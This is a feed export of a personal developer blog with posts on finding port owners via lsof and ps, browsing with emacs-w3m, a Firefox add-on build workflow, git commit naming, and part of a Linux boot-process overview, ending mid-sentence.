2015-12-07T10:12:02+05:30http://.github.io/\/github/Octopress2014-10-20T09:39:00+05:30http://.github.io/\/github/2014/10/quickies-and-loud-mouth<blockquote><p>I&#8217;ve started two new categories. <code>loud mouth</code> and <code>quickie</code>. I am doing a new experiment of writing a blog post of every new or old (which I haven&#8217;t documented) I do while I am working on some project. <code>loud mouth</code> is for that. But I don&#8217;t always like to explain things deep. For those times I am starting <code>quickie</code>, which represents posts which just get stuff done, without explaining much; basically just a dump of the steps I took to solve something. Here&#8217;s first post that belongs to both these categories.</p></blockquote>
<!-- more -->
<p>I don&#8217;t remember how many times I had to re-solve already solved problems because I couldn&#8217;t find a resource on Internet about the solution. Not that Internet lacks information, but it lacks information which few people care about. Like a particular bug which occurs for few and majority of Internet (thankfully including the mighty trolls) don&#8217;t care about.</p>
<p>I read some (more than one) blog posts about how and why every developer should blog about their findings/solutions and what not. Lately, I found myself thinking the same. If only someone whom I met on IRC (after spending an hour on Google) would have documented the solution he told me, hopefully Google (or duckduckgo or whatever) would&#8217;ve found it for me and I would&#8217;ve got the solution and if lucky, hard earned experience notes from the developer too.</p>
<p>So I decided I&#8217;d be that guy who document his solutions/findings. I will try to do that here in this blog.</p>
<p>I started this blog when I was first introduced to Internet, before I actually had Internet at my home. Initially I was super excited and wrote many posts (10 may be), but then the excitement faded off. Playing with code is more intriguing then writing about it. I tried to resurrect this blog many times (2 I think), but couldn&#8217;t. So no promises here. I will try my best to document as much as I can.</p>
<p>Here&#8217;s the first post I wrote under both these categories: <a href="http://beatofthegeek.com/2014/10/how-to-find-which-application-is-running-on-a-particular-port.html">Find Which Application Is Running on a Particular Port</a></p>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/48c-VYAcRYo" height="1" width="1" alt=""/>http://\.github.io/\/github/2014/10/quickies-and-loud-mouth.html2014-10-14T18:45:00+05:30http://.github.io/\/github/2014/10/how-to-find-which-application-is-running-on-a-particular-port<blockquote><p>I tried a <a href="http://dutzi.github.io/tamper/">Chrome extension</a> I ran into on reddit. It runs mitm proxy behind the screen. Then at an occasion, I had to run a proxy for my work purposes, but I found port 8080 is already taken. It turned out tamper keep mitm proxy running even when it&#8217;s disabled (not the extension but through the switch given in tamper). This is how I found out which application was using port 8080.</p></blockquote>
<!-- more -->
<h2>Use lsof</h2>
<p><code>lsof</code> can be used to check which process owns a particular port</p>
<p><code>lsof -S -i &lt;protocol&gt;:&lt;port&gt;</code> tells which process has the port assigned to it</p>
<p>For example,For example,</p>
<p><code>
lsof -i TCP:8080 -S
</code></p>
<p>Running above command shows output like this:</p>
<p><code>
Python 15125 channi 3u IPv4 0xb1b0493c89f7e78f 0t0 TCP *:http-alt (LISTEN)
</code></p>
<p>Now in next step we can use <code>ps</code> to identify how the Python process with pid <code>15125</code> was started</p>
<h2>Use <code>ps</code></h2>
<p><code>ps</code> can be used to know the command with which the process was executed</p>
<p>From the <code>lsof</code> command we got the pid of the process which owns port 8080. Now we want to know how that process was started so we can have a better idea about the intention of the process.</p>
<p>On Mac OS, we use <code>ps -A | grep 15125</code> for getting that, same command on Linux is <code>ps -aux | grep 15125</code>. <code>15125</code> is the pid of the process we got in previous step using <code>lsof</code></p>
<p>Using <code>ps -A | grep 15125</code> give us this output on OS X:</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='sh'><span class='line'>15125 ?? 0:59.99 /usr/local/Cellar/python/2.7.8_1/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python /usr/local/bin/tamper.py chrome-extension://mabhojhgigkmnkppkncbkblecnnanfmd/
</span><span class='line'>25777 ttys002 0:00.00 grep 15125
</span></code></pre></td></tr></table></div></figure>
<p>So now we see the process is started by <code>tamper.py</code> python script which is using <code>Tamper</code> chrome extension.</p>
<p>Tamper is a chrome extension that uses mitm proxy to allow us tamper HTTP(S) requests. So this is not apparently a security breach.</p>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/4baijJLXElY" height="1" width="1" alt=""/>http://\.github.io/\/github/2014/10/how-to-find-which-application-is-running-on-a-particular-port.html2014-02-19T00:00:00+05:30http://.github.io/\/github/2014/02/the-awesome-of-web-browsing-with-emacs<div class='post'>
<div dir="ltr" style="text-align: left;" trbidi="on">Emacs is awesome. There is a kinda steep learning curve for new comers, which I think is the reason it&#8217;s not popular among most new-techies. But once you&#8217;ve got over that, it&#8217;s all hugs and kisses. <br /><br />Emacs is addictive. You get addicted to it. Addicted to its power, to its flexibility, and if nothing else, it&#8217;s keyboard shortcuts. This addiction result in browser extensions like <a href="https://addons.mozilla.org/en-US/firefox/addon/firemacs/" target="_blank">firemacs</a> ), (you should definitely try it if you are an emacs user), which adds emacs shortcuts to Firefox (another awesome piece of technology).<br /><br /><!-- more --><br /><br />But there is another level of addiction. When you want to do everything you do on computer from within Emacs. And Emacs won&#8217;t complaint, or get in your way. It&#8217;s a freaking <a href="http://c2.com/cgi/wiki?EmacsAsOperatingSystem" target="_blank">operating system in itself</a>. People are <a href="http://www.informatimago.com/linux/emacs-on-user-mode-linux.html" target="_blank">doing crazy things with it</a>. <br /><br />I am here to share my experience of using Emacs as my primary web browser for quite some time now.<br /><br />For about a month, I am in a situation in which I am on very expensive (for my unemployed soul) Internet connection, and can&#8217;t afford to waste any bandwidth. Every MB matters. Firefox was consuming a lot of bandwidth for downloading all those images, js, and css I don&#8217;t care about most of the time. All I wanted from Internet was text. So I turned towards command line web-browsers. By instinct I looked for <a href="http://www.google.com/search?btnI=I%%27m+Feeling+Lucky&amp;ie=UTF-8&amp;oe=UTF-8&amp;q=Emacs+as+a+web+browser" target="_blank">options in Emacs as a web browser</a>. There are many. I chose <a href="http://emacs-w3m.namazu.org/" target="_blank">emacs-w3m</a>.<br /><br />Now I am fond of it. Many good things I&#8217;ve got out of using emacs as my web browser.<br /><br /><h3 style="text-align: left;">It feels good</h3><div style="text-align: left;">It feels great actually. I don&#8217;t know what it is there in it, but using Emacs feels like being at home. An easy and relaxed feeling. I am a knowledge hungry maniac, so the ability to browser information, and summarize and store it from within the same familiar ecosystem added another level of ease. This kind of mental ease really matter when throw all sort of <a href="https://github.com/gulpjs/gulp" target="_blank">new technologies</a> on yourself everyday.</div><div style="text-align: left;"><br /></div><h3 style="text-align: left;">Distraction free</h3><div style="text-align: left;">I feel it much more focused when reading text in Emacs. I realized it first time while reading emacs-lisp-intro, <a href="http://channikhabra.github.io/2013/10/11/the-most-beautiful-tutorial/" target="_blank">the most beautiful tutorial</a> ever imo. I think there are two main reason for this. </div><div style="text-align: left;"><br />First is the absence of all those fancy graphics (images, fonts, styles etc) that you awe on modern web pages. If you are actually after the information, believe me you won&#8217;t miss an ounce of them. </div><div style="text-align: left;"><br />Second reason I think is the habit. My mind is trained to focus on code (that&#8217;s what we use Emacs for, remember?) in Emacs. It might be the environment that increase the focus level by magnitude when am reading something inside Emacs. </div><div style="text-align: left;"><br /></div><h3 style="text-align: left;">Ad blocking by default</h3><div style="text-align: left;">That&#8217;s obvious. No Javascript, no images, No ads. No need to install ad-block plus and feel bad for publishers. Please note that this certainly does not mean that you can&#8217;t view images in Emacs. It&#8217;s an opt-in option in emacs-w3m (which of course can be toggled globally to display images by default).</div><div style="text-align: left;"><br /></div><h3 style="text-align: left;">It made me a Better Blogger</h3><div style="text-align: left;">I like writing. I have been running this blog since 2011, but wrote like 10 posts in 2 years. It started changing when I started using org-mode in Emacs for taking notes about literally everything. And web browsing from within Emacs made it even easier to write. For a pro-level procrastinator like me, even a press of `alt+Tab` is enough of an excuse to not write. </div><div style="text-align: left;"><br />I believe it is not pressing `alt+Tab`. It&#8217;s change of context that happen when switching windows (Firefox to Emacs). Many things flush out of head when I actually reach to Emacs from Firefox. It got resolved with using Emacs as web browser. </div><div style="text-align: left;"><br />It also boosted my habit of note making. A simple `C-x 3` and `C-x o` made a lot of difference.</div><div style="text-align: left;"><br />Actually I believe it&#8217;s <a href="http://orgmode.org/" target="_blank">org-mode</a> which is responsible for my better blogging habits. Earlier I had to sit down and start writing a post; now I switch to my notes.org and search for which of the org nodes can be turned into blog posts. emacs-w3m sure increased the size of my notes file though.</div><div style="text-align: left;">Please also read about <a href="http://www.beatofthegeek.com/2014/02/my-setup-for-using-emacs-as-web-browser.html" target="_blank">my setup for using emacs as web browser</a>.</div></div></div>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/-PW7M3VX4zE" height="1" width="1" alt=""/>http://\.github.io/\/github/2014/02/the-awesome-of-web-browsing-with-emacs.html2014-02-19T00:00:00+05:30http://.github.io/\/github/2014/02/my-setup-for-using-emacs-as-web-browser<div class='post'>
<div dir="ltr" style="text-align: left;" trbidi="on">This post was actually a part of the <a href="http://www.beatofthegeek.com/2014/02/the-awesome-of-web-browsing-with-emacs.html" target="_blank">last one</a>, but the node was long enough so I broke it into two. Why? Well, why making it one post when I can make them two? To save users a click and a page load (I know some UX) of course, but I also have to convince ever self-criticizing brain that I am justifying with my blog and not slacking off.<br /><br />So here&#8217;s my setup for using Emacs as a web browser. <br /><br /><!-- more --><br /><br /><h3 style="text-align: left;">w3m as web browser</h3><div style="text-align: left;">I use emacs-w3m as for web browsing from inside emacs. It&#8217;s awesome. For using emacs-w3m from inside Emacs, it&#8217;s required to first install <a href="http://w3m.sourceforge.net/" target="_blank">w3m</a>. w3m is actually a text based browser which can be used from command line (like <a href="http://lynx.isc.org/" target="_blank">lynx</a>. So we gotta install it first.&nbsp;</div><div style="text-align: left;"><br /></div><div style="text-align: left;">Depending on your GNU/Linux distribution, run appropriate command to install w3m</div><div style="text-align: left;"><br /></div><blockquote class="tr_bq"><b>Ubuntu</b><br /><i>sudo apt-get install w3m</i><br /><b>Fedora </b><br /><i>sudo yum install w3m</i></blockquote><div style="text-align: left;">I used `pacman -S w3m` (<a href="http://chakra-linux.org/" target="_blank">Chakra</a>). </div><div style="text-align: left;"><br /></div><h3 style="text-align: left;">emacs-w3m in emacs</h3><div style="text-align: left;">Then of course we need emacs-w3m install in emacs. Do `package-install w3m` from within Emacs.</div><div style="text-align: left;"><br /></div><h3 style="text-align: left;">My setup</h3><div style="text-align: left;">Here&#8217;s my setup for customizing web browsing in Emacs. Explanation follows.</div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><script src="https://gist.github.com/channikhabra/ab9349d58f052a712a40.js"></script><br /></div><blockquote class="tr_bq">(setq browse-url-browser-function &#8216;w3m-goto-url-new-session)</blockquote><div style="text-align: left;">This line sets Emacs&#8217; default browser for visiting web pages to w3m function w3m-goto-url-new-session.</div><div style="text-align: left;"><br />This would open a new tab (if you want to call that) for the url to be visited.</div><div style="text-align: left;"><br /></div><blockquote class="tr_bq">(setq w3m-user-agent &#8220;Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.&#8221;)</blockquote><div style="text-align: left;"><br />This line sets the user-agent string which w3m will use. It really helps to use a mobile user-agent as many sites provide small content centric versions of their websites for mobiles. Most desktop sites in w3m come up with a huge untitled list covering the whole screen.</div><blockquote class="tr_bq">(defun hn ()<br />&nbsp; (interactive)<br />&nbsp; (browse-url &#8220;http://news.ycombinator.com&#8221;))</blockquote><div style="text-align: left;"><br />This creates a quick interactive function for quickly visiting <a href="http://news.ycombinator.com/" target="_blank">hacker news</a> with `M-x &#8220;hn&#8221;`</div><blockquote class="tr_bq">(defun reddit (reddit)<br />&nbsp; &#8220;Opens the REDDIT in w3m-new-session&#8221;<br />&nbsp; (interactive (list<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (read-string &#8220;Enter the reddit (default: psycology): &#8221; nil nil &#8220;psychology&#8221; nil)))<br />&nbsp; (browse-url (format &#8220;http://m.reddit.com/r/%s&#8221; reddit))<br />&nbsp; )</blockquote><div style="text-align: left;"><br />Another function like above for going to reddit. It opens up mobile reddit site with provided subreddit name. This one prompts for entering a reddit name to visit, and if none is provided <a href="http://reddit.com/r/psychology" target="_blank">/r/psychology</a> is visited by default. You can change it to any of the subreddits.</div><blockquote class="tr_bq">(defun wikipedia-search (search-term)<br />&nbsp; &#8220;Search for SEARCH-TERM on wikipedia&#8221;<br />&nbsp; (interactive<br />&nbsp;&nbsp; (let ((term (if mark-active<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (buffer-substring (region-beginning) (region-end))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (word-at-point))))<br />&nbsp;&nbsp;&nbsp;&nbsp; (list<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (read-string<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (format &#8220;Wikipedia (%s):&#8221; term) nil nil term)))<br />&nbsp;&nbsp; )<br />&nbsp; (browse-url<br />&nbsp;&nbsp; (concat<br />&nbsp;&nbsp;&nbsp; &#8220;http://en.m.wikipedia.org/w/index.php?search=&#8221;<br />&nbsp;&nbsp;&nbsp; search-term<br />&nbsp;&nbsp;&nbsp; ))<br />&nbsp; )</blockquote><br /><div style="text-align: left;">As I&#8217;ve told earlier, I am an information maniac. I just need to know everything feasible about everything new I meet. And wikipedia is a nice quick thing for solid information. When called it will prompt for entering a search term, with the word under cursor as default. It then makes a search on Wikipedia for the given search term.</div><div style="text-align: left;"><br />You can set to a keyboard shortcut if you want. I use it with `M-x wik&#8230;` only.</div><div style="text-align: left;"><br /></div><blockquote class="tr_bq">(defun w3m-open-site (site)<br />&nbsp; &#8220;Opens site in new w3m session with &#8216;http://&#8217; appended&#8221;<br />&nbsp; (interactive<br />&nbsp;&nbsp; (list (read-string &#8220;Enter website address(default: w3m-home):&#8221; nil nil w3m-home-page nil )))<br />&nbsp; (w3m-goto-url-new-session<br />&nbsp;&nbsp; (concat &#8220;http://&#8221; site)))</blockquote><div style="text-align: left;"><br /></div><div style="text-align: left;">This adds another extra interactive function &#8216;w3m-open-site. When we enter a url in w3m-goto-url or w3m-goto-url-new-session, it expects full url with &#8216;http://&#8217; in front. So this one just appends &#8216;http://&#8217; in front of a website url you provide.</div><div style="text-align: left;"><br /></div><h3 style="text-align: left;">Some tips</h3><div style="text-align: left;">Here are some extra tips for using emacs-w3m as web browser.</div><h4 style="text-align: left;">Different keyboard shortcuts</h4><div style="text-align: left;">W3m has its own keyboard shortcuts. Here are some I use most</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><b>Navigation</b></div><div style="text-align: left;">We can use standard Emacs controls for moving cursor (C-n, C-p, C-f, C-b) as well as Vim&#8217;s (g,h,j,k). Vim&#8217;s controls are really handy when you need to move cursor with one hand.</div><div style="text-align: left;"><br /><b>Jumping to links</b><br />Tab will go you to next link. `Shift-Tab` to previous</div><div style="text-align: left;"><br /><b>Visiting different tabs</b><br />w3m has tabs like system. You can easily change tabs (buffers) with Emacs&#8217; standard `C-x b` or use `C-n` for next tab and `C-p` for previous tab.</div><div style="text-align: left;"><br /><b>Open link in new tab</b><br />Just entering `G` will do the job. It will prompt for a url with the url under cursor as default.</div><div style="text-align: left;"><br /><b>Open link in same tab/buffer</b><br />`g` works similar to `G` but opens url in current tab only.</div><div style="text-align: left;"><br /><b>Go to previous page</b><br />`B` will act as &#8216;Back&#8217; button of standard browsers</div><div style="text-align: left;"><br /><b>Toggle visibility of image under cursor</b><br />`t` shows or hides an image under cursor</div><div style="text-align: left;"><br /><b>Toggle visibility of all images on page</b><br />`T`</div><div style="text-align: left;"><br /><b>Download url under point</b><br />`d`</div><div style="text-align: left;"><br /><b>Move to next form field</b><br />`]`</div><div style="text-align: left;"><b>Move to previous form field </b><br />`[`</div><div style="text-align: left;"><br />There are so many more I don&#8217;t use. You can check all special shortcuts provided by w3m in the mode help menu. In a w3m buffer, press `C-h m` to access the help buffer.</div><div style="text-align: left;"></div><div style="text-align: left;"><br /></div><h4 style="text-align: left;">Submitting forms</h4><div style="text-align: left;">We sometime need to submit forms, like for google search, or making comment somewhere. You can step in a form by pressing &#8216;Return&#8217; and enter text in minibuffer. The form can then be submitted with &#8216;C-c C-c&#8217;.</div><div style="text-align: left;"><br /></div><h4 style="text-align: left;">Google search</h4><div style="text-align: left;">You can simply use &#8216;w3m-goto-url&#8217; or &#8216;w3m-goto-url-new-session&#8217; for Google search. That&#8217;s the default action. When we enter something which is not a standard url, it will open the Google search for that string with &#8216;feeling lucky&#8217; set.</div><div style="text-align: left;"><br /><h3 style="text-align: left;">w3m-lnum-mode</h3><div style="text-align: left;">Thanks to Ben Chen (from <a href="https://plus.google.com/103163143282947229395/posts/A2GDPQcX68C" target="_blank">G+</a>) for this tip. I didn&#8217;t know about it. Activating w3m-lnum-mode minor mode when web browsing with w3m adds ace-jump-mode like navigation to the buffer. We can just press &#8216;f&#8217; and the all the links and forms on the page become accessible by entering numbers. This can be really handy for quick navigation. Although I think I&#8217;ll stick with <a href="https://github.com/winterTTr/ace-jump-mode" target="_blank">ace-jump-mode</a>.</div><br />That&#8217;s all I can recall at the moment. Please share your views (good or bad) in comments. I&#8217;ll highly appreciate every word from you.</div></div></div>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/VMsCicezEks" height="1" width="1" alt=""/>http://\.github.io/\/github/2014/02/my-setup-for-using-emacs-as-web-browser.html2014-02-13T00:00:00+05:30http://.github.io/\/github/2014/02/some-tips-for-developing-firefox<div class='post'>
<div dir="ltr" style="text-align: left;" trbidi="on">I used <a href="https://developer.mozilla.org/en-US/Add-ons/SDK" target="_blank">addon-sdk</a> to create <a href="https://addons.mozilla.org/en-US/firefox/addon/fireword-gen/" target="_blank">my simple firefox addon</a>. It makes really easy to create firefox addon by avoiding writing boilerplate code and provides a simple Javascript api for some functionality of Firefox. <br /><br /><a name='more'></a><br /><br />Addon-sdk do makes things easier but the workflow is still not as&nbsp; straightforward as that of developing Chrome extensions. In chrome, we can load unpackaged extensions which are just folders containing a simple HTML app and a manifest.json. In case of Firefox addons, we need to first<br /><ul style="text-align: left;"><li>build a firefox extension from within the folder containing the code with &#8216;cfx xpi&#8217; (command provided by addon-sdk)</li><li>then run a Firefox instance with &#8216;cfx run&#8217;</li></ul>We need to do this every time we make any change in the addon code. Sounds<br />gross right? It is indeed gross.<br /><br />To make things simpler, there&#8217;s an addon in Firefox marketplace called &#8217;<a href="https://addons.mozilla.org/en-US/firefox/addon/autoinstaller/" target="_blank">auto-installer</a>&#8217; which allow us to install addons on the fly. This is highly recommended if you are going to develop a firefox addon.<br />Here&#8217;s a <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Installation" target="_blank">great tutorial on Firefox Developers Network</a> for installing and using addon-sdk.<br />So when developing a new Firefox addon, things should go in a flow similar to this.<br /><br /><h3 style="text-align: left;">Install Auto-installer addon in Firefox</h3>This addon allow pushing the addon we are developing to Firefox on the fly, without the need to do something like &#8216;cfx run&#8217; over and over again. <br /><ul style="text-align: left;"><li>It need us to build the addon (cfx xpi), and send it inside a HTTP POST request to localhost:8888</li></ul><ul style="text-align: left;"><li>It then reinstall the addon on the running Firefox instance</li></ul><ul style="text-align: left;"><li>It identifies the addon by its &#8216;id&#8217; we define in &#8216;package.json&#8217; file. So if we change the &#8216;id&#8217; there, a new copy of our addon will get installed along with previously installed file.</li></ul>This make things specially easy with Emacs, see next point.<br /><h4 style="text-align: left;">How to use</h4><ul style="text-align: left;"><li>Install auto-installer on a Firefox instance (may be with a different profile than your default profile (firefox -ProfileManager))</li></ul><ul style="text-align: left;"><li>Build the addon<br /><blockquote class="tr_bq">cfx xpi</blockquote></li></ul><ul style="text-align: left;"><li>Post it to localhost:8888. e.g with<br /><blockquote class="tr_bq">wget &#8211;post-file=myAddon.xpi http://localhost:8888/</blockquote></li></ul><ul style="text-align: left;"><li>Done</li></ul>In the article on Firefox developers hub, they suggest following command which I found not very good.<br /><blockquote class="tr_bq">while true ; do cfx xpi ; wget &#8211;post-file=codesy.xpi http://localhost:8888/ ; sleep 5 ; done</blockquote>Above command builds a Firefox xpi addon from our source code every 5 seconds, and push it to the Firefox instance. It&#8217;s annoying in its own right.<br /><br /><h3 style="text-align: left;">Install &#8217;<a href="https://github.com/nschum/compile-bookmarks.el" target="_blank">compile-bookmarks</a>&#8217; in Emacs</h3>This package allow keeping &#8216;compile&#8217; commands like bookmarks, and executing them with keyboard shortcuts. It&#8217;s more useful than one might think at first. I do all sort of tasks as compile-commands in Emacs like running unit-tests.<br /><br />Create a bookmark with a compile command like following:<br /><blockquote class="tr_bq">/path/to/firefox-addon-sdk/bin/cfx xpi &amp;&amp; wget &#8211;post-file=myAddon.xpi http://localhost:8888/</blockquote>When we provide complete path of the &#8216;cfx&#8217; command, we don&#8217;t need to activate the &#8216;virtualenv&#8217;. <br /><br />You can do this by<br /><ul style="text-align: left;"><li>run &#8216;compile&#8217; function (M-x compile)</li></ul><ul style="text-align: left;"><li>execute above mentioned command from mini-buffer<br />&nbsp;</li><li>Select &#8216;add&#8217; from &#8216;compile&#8217; menu. The command you used previously for compiling will appear there, select it</li></ul><ul style="text-align: left;"><li>It will then prompt in mini-buffer for a key to use for compiling with above command</li></ul><ul style="text-align: left;"><li>Choose whichever seem right to you. I have chosen &#8216;f&#8217; for this.</li></ul>You can now run build and install your extension in firefox with keys &#8216;C-` f&#8217;.<br /><br />This was the workflow I came up with developing my one firefox addon. I would love to hear how experts do things. If you have time, please tell in comments your way of doing things.</div></div>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/1UeEs0nHrzI" height="1" width="1" alt=""/>http://\.github.io/\/github/2014/02/some-tips-for-developing-firefox.html2014-02-02T00:00:00+05:30http://.github.io/\/github/2014/02/differnet-ways-of-accessing-commit-in<div class='post'>
<div dir="ltr" style="text-align: left;" trbidi="on">Ok, so it&#8217;s been quite long since I wrote anything for this blog. I made a resolution earlier about &#8216;a post a day&#8217; which is apparently shattered. So here&#8217;s a quick and dirty posts straight from my notes to help bringing me back on track. Any help it does to anyone else is a bonus :)<br /><br />So as we discussed in a previous post, there are many names for a commit (noun) in git. We may call it a branch, a tag, or just a commit, they are just different ways of accessing a commit.<br /><br />So, here&#8217;s an incomplete list of different ways in which we can access a commit in git. <br /><br /><!-- more --><br /><br /><h4 style="text-align: left;">branch name</h4><div style="text-align: left;">A branch in git is nothing but a named commit. So whenever we are referring to a branch, we are basically just accessing a commit. </div><h4 style="text-align: left;">tag name</h4>Same is true for tags as branches in git. The only difference between a tag and a branch is that tags can have their own descriptions. <br /><h4 style="text-align: left;">HEAD</h4>HEAD represents currently checked-out commit. It&#8217;s basically just a pointer to a commit.<br /><h4 style="text-align: left;">c23a23c43 </h4>A commit can of course be accessed with its full or abbreviated hash id. Abbreviated hash id is the hash id of the commit with minimum number of characters that are required to uniquely identify the commit. These are generally 7-8.<br /><blockquote class="tr_bq">from here on I am using word &#8216;name&#8217; for any of the above mentioned ways of accessing a commit.</blockquote><h4 style="text-align: left;">name^&nbsp; and also name^^ </h4>Represents the parent of a commit. If multiple parents present, represent the first parent. More &#8216;^&#8217; means higher up the chain.<br /><h4>name^2</h4>It represents second parent of the commit if multiple parents are present<br /><h4 style="text-align: left;">name~5</h4>Same as name^^^^^<br /><h4 style="text-align: left;">name:path</h4>References a certain file within a commit&#8217;s content tree<br /><h4 style="text-align: left;">name^{tree}</h4>Reference just the tree held by the commit, rather than the commit itself<br /><h4 style="text-align: left;">name1..name2</h4>A commit range. Refers to all commits reachable from name2 to name1. If either name1 or name2 is omitted, HEAD is used in its place.<br /><h4 style="text-align: left;">name1&#8230;name2</h4>For git log, it refers to all commits referenced by name1 or name2, but not by both.<br />For git diff, the range expressed is between name2 and the common ancestor of name1 and name2.<br /><h4 style="text-align: left;">&#8211;since=&#8221;2 weeks ago&#8221;</h4>Refers to all commits since a certain date<br /><h4 style="text-align: left;">&#8211;until=&#8221;1 week ago&#8221;</h4>Refers to all commits up to a certain date<br /><h4 style="text-align: left;">&#8211;grep=pattern</h4>Refers to all commits whose commit message matches the regular expression<br /><h4 style="text-align: left;">&#8211;committer=pattern</h4>Refers to all commits whose committer matches the pattern<br /><h4 style="text-align: left;">&#8211;no-merges</h4>Refers to all commits in the range that have only one parent</div></div>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/Bx3Rai1QvnA" height="1" width="1" alt=""/>http://\.github.io/\/github/2014/02/differnet-ways-of-accessing-commit-in.html2014-01-12T00:00:00+05:30http://.github.io/\/github/2014/01/linux-boot-process-real-quick-walkthrough<div class='post'>
<div dir="ltr" style="text-align: left;" trbidi="on"><h2 style="text-align: left;">A quick go through to the GNU/Linux boot process</h2>This post talks (quickly) about how a typical Linux (PC) system boots. I&#8217;ll try avoiding much technical terms. It&#8217;ll be a quick walk without diving much deeper.<br /><br />The booting process of a system involves several steps. <br />When the computer first powers up, the code in its ROM is executed. This code generally called the firmware has some knowledge of the system hardware. On PCs this initial boot code is generally called the <b>BIOS (Basic Input/Output System)</b>. A PC can have several BIOS levels for machine itself, graphic cards, network cards etc. In the context of booting, the BIOS generally perform two operations:<br /><ul style="text-align: left;"><li>It figures out which device to boot from</li><li>And loads a program from the bootable sector from bootable device which tell the secondary boot loader to load<!-- more --></li></ul><h4 style="text-align: left;">The MBR loading process then takes place. </h4>MBR is the boot sector on hard disks. <b>MBR(Master Boot recorder)</b> is the first sector on the disk which have details about<br /><ul style="text-align: left;"><li>Primary boot loader code(This is of 446 Bytes)<br />The first 446 bytes of MBR contain the code that locates the partition to boot from. The rest of booting process takes place from that partition. This partition contains a software program for booting the system called the ‘bootloader’.</li><li>Partition table information(64 Bytes)<br />MBR contains 64 bytes of data which stores Partition table information such as <br />- what is the start and end of each partition<br />- size of partition<br />- type of partition(Whether it&#8217;s a primary or extended etc)<br />It requires 16 Bytes of space for one partition. So at most we get 4 primary partitions.</li><li>Magic number(2 Bytes)<br />The magic number service as validation check for MBR. If MBR gets corrupted this magic number is used to retrieve it.</li></ul><h4 style="text-align: left;">GRUB loading</h4><div style="text-align: left;"><b>GRand Unified Bootloader</b> is the boot loader for most Linux distributions. Its job is to load a kernel from a pre-prepared list of kernels with options specified. The GRUB has two versions<br />- GRUB legacy<br />- GRUB 2</div><div style="text-align: left;"><br />GRUB works in stages.<br />Stage 1 is located in the MBR and mainly points to Stage 2, since the MBR is too small to contain all of the needed data.<br />Stage 2 points to its configuration file, which contains all of the complex user interface and options we are normally familiar with when talking about GRUB. Stage 2 can be located anywhere on the disk. If Stage 2 cannot find its configuration table, GRUB will cease the boot sequence and present the user with a command line for manual configuration.<br />Stage 1.5 also exists and might be used if the boot information is small enough to fit in the area immediately after MBR.<br /><br />GRUB 2 has replaced the first version of GRUB which is hence now called GRUB Legacy. GRUB 2 has better portability and modularity, supports non-ASCII characters, dynamic loading of modules, real memory management, and more.&nbsp;</div><h4 style="text-align: left;">Kernel initialization</h4><div style="text-align: left;">The kernel itself is a program which on Linux is usually located as some variant of &#8216;/boot/vmlinuz&#8217;. On my system it is </div><blockquote class="tr_bq">/boot/vmlinuz-linux</blockquote><div style="text-align: left;">After the kernel is loaded it probes the system for how much RAM is available. It reserves some memory for itself for its own statically sized data structures. Then the kernel probes for what hardware is present and for loading device drivers.&nbsp; Mostly kernel loads device drivers as independent kernel modules so a small Linux kernel can support a large number of hardware devices. Different GNU/Linux distributions can come with different driver modules bundled with the kernel.<br />After basic initialization the kernel creates several &#8220;spontaneous&#8221; processes. They are called spontaneous because they are not started in user space with regular &#8216;fork&#8217;&nbsp; mechanism. we can see the processes with </div><blockquote class="tr_bq">ps -A</blockquote><div style="text-align: left;">Most system started process have low PIDs. Process with PID 0 is the init system.</div><h4 style="text-align: left;">Init process</h4><div style="text-align: left;">init is the first process to run and always has PID 1. Different systems may have different implementations of init e.g last time I used Ubuntu, it was using &#8216;upstart&#8217;. We can check the init system on our machine with</div><blockquote>=&gt; ps -A | head -n 2 <br />=&gt; PID TTY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TIME CMD<br />&nbsp;&nbsp;&nbsp; 1&nbsp; ?&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 00:00:00 systemd</blockquote><div style="text-align: left;">Init script is generally &#8216;/sbin/init&#8217; which can be a symbolic link to the init daemon</div><blockquote class="tr_bq">=&gt; file /sbin/init<br />=&gt; /sbin/init: symbolic link to `../usr/lib/systemd/systemd&#8217;</blockquote><div style="text-align: left;">Some commonly performed tasks by these scripts are<br />- settings the name of the computer<br />- setting the time zone<br />- checking disks with &#8216;fsck&#8217;<br />- mounting the system&#8217;s disks<br />- removing old files from &#8216;/tmp&#8217;<br />- configuring network interfaces<br />- starting up daemons and network services<br />&nbsp;</div><div style="text-align: left;">init have a concept of run&nbsp; levels. Different init systems may use different terms for run levels (e.g systemd call &#8216;em targets). But the purpose is similar in most cases.</div><div style="text-align: left;">init defines at least seven run levels each of which represents a particular complement of services that the system should be running. Exact definitions may vary among systems but general points are<br />- at level 0, system is completely shut down<br />- level 1 represents single user mode<br />- level 2 to 5 include support for networking<br />- level 6 is &#8216;reboot&#8217; <br />The number of levels on different systems vary, as their names. The system 